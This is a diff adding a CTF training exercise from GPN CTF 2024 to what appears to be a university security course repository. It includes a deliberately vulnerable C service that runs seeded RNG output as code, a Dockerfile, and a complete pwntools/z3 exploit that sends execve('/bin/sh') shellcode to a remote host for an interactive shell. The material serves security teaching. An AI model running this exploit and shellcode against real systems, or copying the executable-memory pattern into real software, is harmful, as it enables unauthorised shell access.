stuff

training/IntroZ3/tasks/chall2_dreamer/Dockerfile

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+# docker build -t dreamer . && docker run --rm -p 1337:1337 --name dreamer -dit dreamer
+FROM archlinux:latest
+
+RUN pacman -Sy --noconfirm socat gcc
+
+WORKDIR /app
+
+COPY  dream /app/
+RUN chmod +x /app/dream
+ARG FLAG=GPNCTF{fake_flag}
+RUN echo "$FLAG" > flag.txt
+
+EXPOSE 1337
+
+ENTRYPOINT [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./dream,stderr" ]

training/IntroZ3/tasks/chall2_dreamer/README.md

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+This pwn/misc challenge was part of GPN CTF 2024
+
+The challenge:
+ - We can execute 4 bytes of arbitrary shellcode followed by 100 bytes of shellcode generated by a weird RNG, which we can seed
+ - We already figured out a short sequence (9 bytes) of shellcode that we want to execute.
+   This means we need to find a seed which will generate 5 specific bytes.
+
+The RNG is already re-implemented in python for you in `test.py` and `exploit.py`.
+Implement the function `get_seed_for_sequence` to finish the exploit. `test.py` allows you to verify your implementation is correct.
+
+The RNG function `custom_random` takes a current state variable (initially the seed) and will return a tuple of (next byte, next state)
+
+To get the flag from the finished exploit, run: `./exploit.py courses.sec.in.tum.de 13372`
+Note, the shellcode and exploit succeeds only with a probability of 50%, you may need to run it multiple times.

training/IntroZ3/tasks/chall2_dreamer/dream.c

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+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#define ROTL(X, N)  (((X) << (N)) | ((X) >> (8 * sizeof(X) - (N))))
+#define ROTR(X, N)  (((X) >> (N)) | ((X) << (8 * sizeof(X) - (N))))
+unsigned long STATE; 
+unsigned long CURRENT;
+
+char custom_random(){
+    STATE = ROTL(STATE,30) ^ ROTR(STATE,12) ^ ROTL(STATE,42) ^ ROTL(STATE,4) ^ ROTR(STATE,5);
+    return STATE % 256;
+}
+
+void* experience(long origin){
+  char* ccol= mmap (0,1024, PROT_READ|PROT_WRITE|PROT_EXEC,
+              MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+    size_t k = 0;
+    while(k<106){
+        *(ccol+k) = 0x90; //nop just in case;
+        k++;
+    }
+    k=16;
+    *((int*)ccol) = origin;
+    while(k<100){
+        *(ccol+k)=custom_random();
+        k++;
+    }
+    return ccol;
+
+}
+
+void sleepy(void * dream){
+    int (*d)(void) = (void*)dream;
+    d();
+}
+
+
+void win(){
+    execv("/bin/sh",NULL);
+}
+
+void setup(){
+    setvbuf(stdin, NULL, _IONBF, 0);
+    setvbuf(stdout, NULL, _IONBF, 0);
+    setvbuf(stderr, NULL, _IONBF, 0);
+}
+
+int main(){
+    setup();
+    long seed=0;
+    printf("the win is yours at %p\n", win);
+    scanf("%ld",&seed); 
+    STATE = seed;
+    printf("what are you thinking about?");
+    scanf("%ld",&seed);
+    sleepy(experience(seed));
+}

training/IntroZ3/tasks/chall2_dreamer/exploit.py

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+
+import time
+import pwn
+import z3
+import sys
+
+
+def ROL(X, N):
+    return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64))
+
+def ROR(X, N):
+    return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64))
+
+def custom_random(state):
+    NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5);
+    return NEW_STATE % 256, NEW_STATE;
+
+
+pwn.context.arch = 'x86_64'
+
+
+shc = pwn.asm("""
+    cdq;
+    push rdi;
+    xor edi, edi;
+    pop rsi;
+    xor eax, eax;
+    syscall
+""")
+
+
+
+def get_seed_for_sequence(bytesequence):
+    s = z3.Solver() 
+    base_state = z3.BitVec("base_state", 64)
+    cur_state = base_state
+    for byte in bytesequence:
+        gen_byte, cur_state = custom_random(cur_state)
+        s.add(gen_byte == byte)
+
+    if s.check() != z3.sat:
+        raise RuntimeError()
+
+    m = s.model()
+    return m[base_state].as_long()
+
+def get_values():
+
+    print(len(shc))
+
+    first_val = pwn.u32(shc[:4])
+    print(first_val)
+
+    second_val = get_seed_for_sequence(shc[4:])
+    print(second_val)
+    print(str(second_val).encode())
+    return first_val, second_val
+
+first_val, second_val = get_values()
+
+
+
+cs = second_val
+
+for v in shc[4:]:
+    b, cs = custom_random(cs)
+    print(b, v)
+    assert b == v
+
+
+
+if len(sys.argv) > 2:
+    r = pwn.remote(sys.argv[1], int(sys.argv[2]))
+else:
+    r = pwn.remote("localhost", 1337)
+
+
+r.recvuntil(b"at ")
+
+win = int(r.recvline().strip().decode(), 16)
+
+r.sendline(str(second_val).encode())
+r.recvuntil(b"?")
+
+r.sendline(str(first_val).encode())
+
+
+_shc = bytearray([
+    0x48, 0x31, 0xd2, 0x48, 0xbb, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xeb,
+    0x08, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0x0f,
+    0x05, 0x6a, 0x01, 0x5f, 0x6a, 0x3c, 0x58, 0x0f, 0x05
+])
+
+time.sleep(.3)
+
+r.send(b'\x90' * (0x10 + len(shc)-4) + _shc)
+
+r.interactive()
+

training/IntroZ3/tasks/chall2_dreamer/test.py

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+
+import random
+import z3
+
+
+def ROL(X, N):
+    if isinstance(X, z3.BitVecRef):
+        return z3.RotateLeft(X,N)
+    else:
+        return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64))
+
+
+def ROR(X, N):
+    if isinstance(X, z3.BitVecRef):
+        return z3.RotateRight(X,N)
+    else:
+        return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64))
+
+def custom_random(state):
+    NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5)
+    return NEW_STATE % 256, NEW_STATE
+
+def get_seed_for_sequence(bytesequence):
+    s = z3.Solver() 
+    base_state = z3.BitVec("base_state", 64)
+    cur_state = base_state
+    for byte in bytesequence:
+        gen_byte, cur_state = custom_random(cur_state)
+        s.add(gen_byte == byte)
+
+    if s.check() != z3.sat:
+        raise RuntimeError()
+
+    m = s.model()
+    return m[base_state].as_long()
+
+
+def gen_sequence(seed, length):
+    r = []
+    cs = seed
+    for _ in range(length):
+        v, cs = custom_random(cs)
+        r.append(v)
+    return bytes(r)
+
+
+test = random.getrandbits(32).to_bytes(4)
+seed = get_seed_for_sequence(test)
+print(seed)
+print(test)
+assert test == gen_sequence(seed, 4)